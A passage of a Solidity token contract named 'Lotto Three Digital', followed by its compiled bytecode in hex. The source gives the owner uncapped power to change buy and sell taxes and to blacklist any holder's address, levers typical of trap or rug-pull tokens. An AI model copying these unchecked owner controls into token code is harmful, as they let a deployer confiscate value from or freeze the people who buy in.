address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function EnbleTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function UpdateFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c806370a08231116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461065a578063dd62ed3e14610671578063ea1644d5146106ae578063f2fde38b146106d7576101d7565b806395d89b411461058c57806398a5c315146105b7578063a9059cbb146105e0578063bfd792841461061d576101d7565b80637d1db4a5116100d15780637d1db4a5146104f45780638da5cb5b1461051f5780638eb59a5f1461054a5780638f9a55c014610561576101d7565b806370a0823114610477578063715018a6146104b457806374010ece146104cb576101d7565b80632fd689e31161016f578063658d4b7f1161013e578063658d4b7f146103d357806367243482146103fc5780636b999053146104255780636d8aa8f81461044e576101d7565b80632fd689e314610329578063313ce5671461035457806349bd5a5e1461037f57806353482196146103aa576101d7565b80630e66e7f1116101ab5780630e66e7f11461026d5780631694505e1461029657806318160ddd146102c157806323b872dd146102ec576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612e46565b610700565b005b34801561021157600080fd5b5061021a610811565b6040516102279190612f17565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f6f565b61084e565b6040516102649190612fca565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f9190613011565b61086c565b005b3480156102a257600080fd5b506102ab610905565b6040516102b8919061309d565b60405180910390f35b3480156102cd57600080fd5b506102d661092b565b6040516102e391906130c7565b60405180910390f35b3480156102f857600080fd5b50610313600480360381019061030e91906130e2565b610935565b6040516103209190612fca565b60405180910390f35b34801561033557600080fd5b5061033e610a0e565b60405161034b91906130c7565b60405180910390f35b34801561036057600080fd5b50610369610a14565b6040516103769190613151565b60405180910390f35b34801561038b57600080fd5b50610394610a1d565b6040516103a1919061317b565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190613196565b610a43565b005b3480156103df57600080fd5b506103fa60048036038101906103f591906131d6565b610ad1565b005b34801561040857600080fd5b50610423600480360381019061041e91906132c7565b610ba8565b005b34801561043157600080fd5b5061044c60048036038101906104479190613348565b610c98565b005b34801561045a57600080fd5b5061047560048036038101906104709190613011565b610d6f565b005b34801561048357600080fd5b5061049e60048036038101906104999190613348565b610e08565b6040516104ab91906130c7565b60405180910390f35b3480156104c057600080fd5b506104c9610e51565b005b3480156104d757600080fd5b506104f260048036038101906104ed9190613375565b610ed9565b005b34801561050057600080fd5b50610509610f5f565b60405161051691906130c7565b60405180910390f35b34801561052b57600080fd5b50610534610f65565b604051610541919061317b565b60405180910390f35b34801561055657600080fd5b5061055f610f8e565b005b34801561056d57600080fd5b50610576611036565b60405161058391906130c7565b60405180910390f35b34801561059857600080fd5b506105a161103c565b6040516105ae9190612f17565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190613375565b611079565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612f6f565b6110ff565b6040516106149190612fca565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f9190613348565b61111d565b6040516106519190612fca565b60405180910390f35b34801561066657600080fd5b5061066f61113d565b005b34801561067d57600080fd5b50610698600480360381019061069391906133a2565b6111d2565b6040516106a591906130c7565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190613375565b611259565b005b3480156106e357600080fd5b506106fe60048036038101906106f99190613348565b6112df565b005b610708611495565b73ffffffffffffffffffffffffffffffffffffffff16610726610f65565b73ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107739061342e565b60405180910390fd5b60005b815181101561080d576001600a60008484815181106107a1576107a061344e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610805906134ac565b91505061077f565b5050565b60606040518060400160405280601381526020017f4c6f74746f205468726565204469676974616c00000000000000000000000000815250905090565b600061086261085b611495565b848461149d565b6001905092915050565b610874611495565b73ffffffffffffffffffffffffffffffffffffffff16610892610f65565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df9061342e565b60405180910390fd5b80600d60146101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b6000610942848484611668565b610a038461094e611495565b6109fe85604051806060016040528060288152602001613f9060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109b4611495565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b61149d565b600190509392505050565b60105481565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a4b611495565b73ffffffffffffffffffffffffffffffffffffffff16610a69610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610abf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab69061342e565b60405180910390fd5b81600681905550806007819055505050565b610ad9611495565b73ffffffffffffffffffffffffffffffffffffffff16610af7610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b449061342e565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610bb0611495565b73ffffffffffffffffffffffffffffffffffffffff16610bce610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b9061342e565b60405180910390fd5b60005b84849050811015610c9157610c7d33868684818110610c4957610c4861344e565b5b9050602002016020810190610c5e9190613348565b858585818110610c7157610c7061344e565b5b90506020020135612062565b508080610c89906134ac565b915050610c27565b5050505050565b610ca0611495565b73ffffffffffffffffffffffffffffffffffffffff16610cbe610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b9061342e565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610d77611495565b73ffffffffffffffffffffffffffffffffffffffff16610d95610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de29061342e565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e59611495565b73ffffffffffffffffffffffffffffffffffffffff16610e77610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec49061342e565b60405180910390fd5b610ed76000612235565b565b610ee1611495565b73ffffffffffffffffffffffffffffffffffffffff16610eff610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4c9061342e565b60405180910390fd5b80600e8190555050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610f96611495565b73ffffffffffffffffffffffffffffffffffffffff16610fb4610f65565b73ffffffffffffffffffffffffffffffffffffffff161461100a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110019061342e565b60405180910390fd5b600d60179054906101000a900460ff1615600d60176101000a81548160ff021916908315150217905550565b600f5481565b60606040518060400160405280600281526020017f3344000000000000000000000000000000000000000000000000000000000000815250905090565b611081611495565b73ffffffffffffffffffffffffffffffffffffffff1661109f610f65565b73ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec9061342e565b60405180910390fd5b8060108190555050565b600061111361110c611495565b8484611668565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b611145611495565b73ffffffffffffffffffffffffffffffffffffffff16611163610f65565b73ffffffffffffffffffffffffffffffffffffffff16146111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b09061342e565b60405180910390fd5b60006111c430610e08565b90506111cf816122f9565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611261611495565b73ffffffffffffffffffffffffffffffffffffffff1661127f610f65565b73ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc9061342e565b60405180910390fd5b80600f8190555050565b6112e7611495565b73ffffffffffffffffffffffffffffffffffffffff16611305610f65565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113529061342e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613567565b60405180910390fd5b6000600460006113d9610f65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061143381612235565b600160046000611441610f65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611504906135f9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115749061368b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165b91906130c7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf9061371d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f906137af565b60405180910390fd5b6000811161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178290613841565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561182f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757600d60149054906101000a900460ff16611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a906138ad565b60405180910390fd5b600e548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613919565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a2906139ab565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611baa57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a695750600d60179054906101000a900460ff165b15611b52574260b4600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb91906139cb565b108015611b1257504260b4600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1091906139cb565b105b611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613a93565b60405180910390fd5b5b600f5481611b5f84610e08565b611b6991906139cb565b10611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba090613b25565b60405180910390fd5b5b6000611bb530610e08565b9050600060105482101590506010548210611bd05760105491505b808015611bea5750600d60159054906101000a900460ff16155b8015611c445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d60169054906101000a900460ff165b15611c8457611c6a826122f9565b60004790506000811115611c8257611c814761260c565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611def5760009050611f64565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ea9576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f545750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f63576007546008819055505b5b42600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff884848484612678565b50505050565b6000838311158290612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190612f17565b60405180910390fd5b50600083856120559190613b45565b9050809150509392505050565b60006120ed826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161222291906130c7565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600d60156101000a81548160ff021916908315150217905550600061233d606461232f6055856126fe90919063ffffffff16565b61277990919063ffffffff16565b90506000818361234d9190613b45565b905060004790506000600267ffffffffffffffff81111561237157612370612ca5565b5b60405190808252806020026020018201604052801561239f5781602001602082028036833780820191505090505b50905030816000815181106123b7576123b661344e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561245957600080fd5b505afa15801561246d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124919190613b8e565b816001815181106124a5576124a461344e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250c30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612570959493929190613cb4565b600060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b5050505060006125b783476127c390919063ffffffff16565b90506125e9846125e460646125d6600f866126fe90919063ffffffff16565b61277990919063ffffffff16565b61280d565b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612674573d6000803e3d6000fd5b5050565b8061268e57612688848484612062565b5061269a565b6126998484846128fb565b5b50505050565b60008082846126af91906139cb565b9050838110156126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb90613d5a565b60405180910390fd5b8091505092915050565b6000808314156127115760009050612773565b6000828461271f9190613d7a565b905082848261272e9190613e03565b1461276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590613ea6565b60405180910390fd5b809150505b92915050565b60006127bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad5565b905092915050565b600061280583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ffe565b905092915050565b61283a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b81526004016128a296959493929190613ec6565b6060604051808303818588803b1580156128bb57600080fd5b505af11580156128cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f49190613f3c565b5050505050565b60006129078483612b38565b9050612992826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ac791906130c7565b60405180910390a350505050565b60008083118290612b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b139190612f17565b60405180910390fd5b5060008385612b2b9190613e03565b9050809150509392505050565b600080612b636064612b55600854866126fe90919063ffffffff16565b61277990919063ffffffff16565b9050612bb781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5791906130c7565b60405180910390a3612c7281846127c390919063ffffffff16565b91505092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612cdd82612c94565b810181811067ffffffffffffffff82111715612cfc57612cfb612ca5565b5b80604052505050565b6000612d0f612c7b565b9050612d1b8282612cd4565b919050565b600067ffffffffffffffff821115612d3b57612d3a612ca5565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d7c82612d51565b9050919050565b612d8c81612d71565b8114612d9757600080fd5b50565b600081359050612da981612d83565b92915050565b6000612dc2612dbd84612d20565b612d05565b90508083825260208201905060208402830185811115612de557612de4612d4c565b5b835b81811015612e0e5780612dfa8882612d9a565b845260208401935050602081019050612de7565b5050509392505050565b600082601f830112612e2d57612e2c612c8f565b5b8135612e3d848260208601612daf565b91505092915050565b600060208284031215612e5c57612e5b612c85565b5b600082013567ffffffffffffffff811115612e7a57612e79612c8a565b5b612e8684828501612e18565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ec9578082015181840152602081019050612eae565b83811115612ed8576000848401525b50505050565b6000612ee982612e8f565b612ef38185612e9a565b9350612f03818560208601612eab565b612f0c81612c94565b840191505092915050565b60006020820190508181036000830152612f318184612ede565b905092915050565b6000819050919050565b612f4c81612f39565b8114612f5757600080fd5b50565b600081359050612f6981612f43565b92915050565b60008060408385031215612f8657612f85612c85565b5b6000612f9485828601612d9a565b9250506020612fa585828601612f5a565b9150509250929050565b60008115159050919050565b612fc481612faf565b82525050565b6000602082019050612fdf6000830184612fbb565b92915050565b612fee81612faf565b8114612ff957600080fd5b50565b60008135905061300b81612fe5565b92915050565b60006020828403121561302757613026612c85565b5b600061303584828501612ffc565b91505092915050565b6000819050919050565b600061306361305e61305984612d51565b61303e565b612d51565b9050919050565b600061307582613048565b9050919050565b60006130878261306a565b9050919050565b6130978161307c565b82525050565b60006020820190506130b2600083018461308e565b92915050565b6130c181612f39565b82525050565b60006020820190506130dc60008301846130b8565b92915050565b6000806000606084860312156130fb576130fa612c85565b5b600061310986828701612d9a565b935050602061311a86828701612d9a565b925050604061312b86828701612f5a565b9150509250925092565b600060ff82169050919050565b61314b81613135565b82525050565b60006020820190506131666000830184613142565b92915050565b61317581612d71565b82525050565b6000602082019050613190600083018461316c565b92915050565b600080604083850312156131ad576131ac612c85565b5b60006131bb85828601612f5a565b92505060206131cc85828601612f5a565b9150509250929050565b600080604083850312156131ed576131ec612c85565b5b60006131fb85828601612d9a565b925050602061320c85828601612ffc565b9150509250929050565b600080fd5b60008083601f84011261323157613230612c8f565b5b8235905067ffffffffffffffff81111561324e5761324d613216565b5b60208301915083602082028301111561326a57613269612d4c565b5b9250929050565b60008083601f84011261328757613286612c8f565b5b8235905067ffffffffffffffff8111156132a4576132a3613216565b5b6020830191508360208202830111156132c0576132bf612d4c565b5b9250929050565b600080600080604085870312156132e1576132e0612c85565b5b600085013567ffffffffffffffff8111156132ff576132fe612c8a565b5b61330b8782880161321b565b9450945050602085013567ffffffffffffffff81111561332e5761332d612c8a565b5b61333a87828801613271565b925092505092959194509250565b60006020828403121561335e5761335d612c85565b5b600061336c84828501612d9a565b91505092915050565b60006020828403121561338b5761338a612c85565b5b600061339984828501612f5a565b91505092915050565b600080604083850312156133b9576133b8612c85565b5b60006133c785828601612d9a565b92505060206133d885828601612d9a565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613418602083612e9a565b9150613423826133e2565b602082019050919050565b600060208201905081810360008301526134478161340b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134b782612f39565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134ea576134e961347d565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613551602683612e9a565b915061355c826134f5565b604082019050919050565b6000602082019050818103600083015261358081613544565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006135e3602483612e9a565b91506135ee82613587565b604082019050919050565b60006020820190508181036000830152613612816135d6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613675602283612e9a565b915061368082613619565b604082019050919050565b600060208201905081810360008301526136a481613668565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613707602583612e9a565b9150613712826136ab565b604082019050919050565b60006020820190508181036000830152613736816136fa565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613799602383612e9a565b91506137a48261373d565b604082019050919050565b600060208201905081810360008301526137c88161378c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061382b602983612e9a565b9150613836826137cf565b604082019050919050565b6000602082019050818103600083015261385a8161381e565b9050919050565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b6000613897601e83612e9a565b91506138a282613861565b602082019050919050565b600060208201905081810360008301526138c68161388a565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613903601c83612e9a565b915061390e826138cd565b602082019050919050565b60006020820190508181036000830152613932816138f6565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613995602383612e9a565b91506139a082613939565b604082019050919050565b60006020820190508